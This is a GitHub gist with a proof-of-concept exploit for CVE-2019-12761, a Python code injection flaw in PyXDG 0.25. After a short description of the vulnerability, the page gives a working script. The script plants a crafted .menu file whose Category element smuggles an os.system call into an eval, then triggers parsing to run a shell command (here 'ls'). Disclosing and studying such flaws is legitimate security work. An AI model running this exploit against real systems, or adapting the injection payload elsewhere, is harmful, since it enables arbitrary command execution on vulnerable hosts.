Skip to content

Instantly share code, notes, and snippets.

@dhondta
Last active February 16, 2022 08:15
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dhondta/b45cd41f4186110a354dc7272916feba to your computer and use it in GitHub Desktop.
Save dhondta/b45cd41f4186110a354dc7272916feba to your computer and use it in GitHub Desktop.
Proof-of-Concept for python-xdg 0.25 Python code injection (CVE-2019-12761)

Description

A code injection issue was discovered in PyXDG before 0.26 via crafted Python code in a Category element of a Menu XML document in a .menu file. XDG_CONFIG_DIRS must be set up to trigger xdg.Menu.parse parsing within the directory containing this file. This is due to a lack of sanitization in xdg/Menu.py before an eval call.

References

#!/usr/bin/python3
import os
import shutil
from xdg.BaseDirectory import xdg_config_dirs
from xdg.Menu import parse
TEMP = "/tmp/poc-xdg"
MENU = "gnome-evil.menu"
RSLT = "{}/result.txt".format(TEMP)
CMD = "ls"
evil_menu = """<!DOCTYPE Menu PUBLIC "-//freedesktop//DTD Menu 1.0//EN" "http://www.freedesktop.org/standards/menu-spec/1.0/menu.dtd">
<Menu>
<LegacyDir>{}</LegacyDir>
<Include>
<Category>' or __import__('os').system('{} > {}') or '</Category>
</Include>
</Menu>
""".format(TEMP, CMD, RSLT)
empy_shortcut = "[Desktop Entry]"
# 1. create a temporary folder
if not os.path.exists(TEMP):
os.makedirs(TEMP)
# 2. modify XDG_CONFIG_DIRS to also parse the newly created temporary location
xdg_config_dirs += [TEMP]
# 3. create the payload (it requires to be put in a 'menu' subfolder)
_ = "{}/menus".format(TEMP)
if not os.path.exists(_):
os.makedirs(_)
with open("{}/{}".format(_, MENU), 'w') as f:
f.write(evil_menu)
# 4. create an empty shortcut (required for parsing a menu entry and leading to
# the eval() statement)
with open("{}/sample.desktop".format(TEMP), 'w') as f:
f.write(empy_shortcut)
# 5. trigger parsing (this will automatically search in every location from
# XDG_CONFIG_DIRS for the given filename)
parse(MENU)
# 6. read injected command's result
with open(RSLT) as f:
print(f.read())
# 7. cleanup
shutil.rmtree(TEMP)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment